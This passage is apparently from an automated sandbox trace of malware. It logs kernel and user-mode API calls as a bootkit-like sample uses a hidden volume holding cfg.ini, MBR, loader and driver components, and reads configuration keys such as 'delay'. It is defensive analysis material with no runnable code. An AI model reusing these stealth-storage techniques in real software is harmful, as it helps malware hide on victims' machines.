ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] KeLeaveCriticalRegion () [0125.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.142] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.142] KeEnterCriticalRegion () [0125.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] KeLeaveCriticalRegion () [0125.142] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.142] KeEnterCriticalRegion () [0125.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.142] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf58b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] KeLeaveCriticalRegion () [0125.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.142] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.142] KeEnterCriticalRegion () [0125.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] ExFreePoolWithTag (P=0xfffffa8003bf54b0, Tag=0x0) [0125.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.142] KeLeaveCriticalRegion () [0125.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.142] ReleaseMutex (hMutex=0xf0) returned 1 [0125.142] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.142] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.143] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.143] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.143] KeEnterCriticalRegion () [0125.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.143] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.143] IdePortDispatch () returned 0x103 [0125.143] KeWaitForMutexObject () returned 0x0 [0125.143] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.143] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.143] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.143] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.143] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.143] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.143] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.143] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.143] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.143] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.143] KeLeaveCriticalRegion () [0125.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.143] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.143] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.143] KeEnterCriticalRegion () [0125.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.143] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.143] IdePortDispatch () returned 0x103 [0125.144] KeWaitForMutexObject () returned 0x0 [0125.144] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.144] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.144] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.144] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.144] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.144] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.144] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.144] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.144] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.144] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.144] KeLeaveCriticalRegion () [0125.144] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.144] ReleaseMutex (hMutex=0x100) returned 1 [0125.144] Sleep (dwMilliseconds=0x2bf20) [0125.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dc96e10, dwHighDateTime=0x1d24fa4)) [0125.149] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.151] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.151] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.151] KeEnterCriticalRegion () [0125.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.151] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.151] IdePortDispatch () returned 0x103 [0125.152] KeWaitForMutexObject () returned 0x0 [0125.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.152] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.152] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.152] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.152] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5c50 [0125.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] KeLeaveCriticalRegion () [0125.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.152] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.152] KeEnterCriticalRegion () [0125.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] KeLeaveCriticalRegion () [0125.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.152] KeEnterCriticalRegion () [0125.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.152] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.152] IdePortDispatch () returned 0x103 [0125.152] KeWaitForMutexObject () returned 0x0 [0125.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] KeLeaveCriticalRegion () [0125.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.152] KeEnterCriticalRegion () [0125.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb0000 [0125.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.152] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.152] IdePortDispatch () returned 0x103 [0125.153] KeWaitForMutexObject () returned 0x0 [0125.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.153] IdePortDispatch () returned 0x103 [0125.153] KeWaitForMutexObject () returned 0x0 [0125.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.153] KeLeaveCriticalRegion () [0125.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.153] KeEnterCriticalRegion () [0125.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] KeLeaveCriticalRegion () [0125.154] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.154] KeEnterCriticalRegion () [0125.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.154] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] KeLeaveCriticalRegion () [0125.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.154] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.154] KeEnterCriticalRegion () [0125.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] ExFreePoolWithTag (P=0xfffffa8003bf5c50, Tag=0x0) [0125.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.154] KeLeaveCriticalRegion () [0125.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.154] ReleaseMutex (hMutex=0xf0) returned 1 [0125.154] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.157] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.157] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.157] KeEnterCriticalRegion () [0125.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.157] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.157] IdePortDispatch () returned 0x103 [0125.157] KeWaitForMutexObject () returned 0x0 [0125.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.157] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.157] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.157] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.157] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.157] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5a40 [0125.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] KeLeaveCriticalRegion () [0125.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.157] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.158] KeEnterCriticalRegion () [0125.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.158] KeLeaveCriticalRegion () [0125.158] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.158] KeEnterCriticalRegion () [0125.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.158] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.158] IdePortDispatch () returned 0x103 [0125.158] KeWaitForMutexObject () returned 0x0 [0125.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.158] KeLeaveCriticalRegion () [0125.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.158] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.158] KeEnterCriticalRegion () [0125.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb2000 [0125.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.158] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.158] IdePortDispatch () returned 0x103 [0125.158] KeWaitForMutexObject () returned 0x0 [0125.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.159] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.159] IdePortDispatch () returned 0x103 [0125.159] KeWaitForMutexObject () returned 0x0 [0125.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.159] KeLeaveCriticalRegion () [0125.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.159] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.159] KeEnterCriticalRegion () [0125.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.159] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.159] KeLeaveCriticalRegion () [0125.159] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.159] KeEnterCriticalRegion () [0125.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.159] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.159] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.159] KeLeaveCriticalRegion () [0125.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.160] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.160] KeEnterCriticalRegion () [0125.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] ExFreePoolWithTag (P=0xfffffa8003bf5a40, Tag=0x0) [0125.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] KeLeaveCriticalRegion () [0125.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.160] ReleaseMutex (hMutex=0xf0) returned 1 [0125.160] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.160] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.160] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.160] KeEnterCriticalRegion () [0125.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.160] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.160] IdePortDispatch () returned 0x103 [0125.160] KeWaitForMutexObject () returned 0x0 [0125.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.160] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.160] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.160] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.160] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.160] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] KeLeaveCriticalRegion () [0125.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.160] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.160] KeEnterCriticalRegion () [0125.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.160] KeLeaveCriticalRegion () [0125.160] _snprintf (in: _Dest=0xfffff880028b2790, 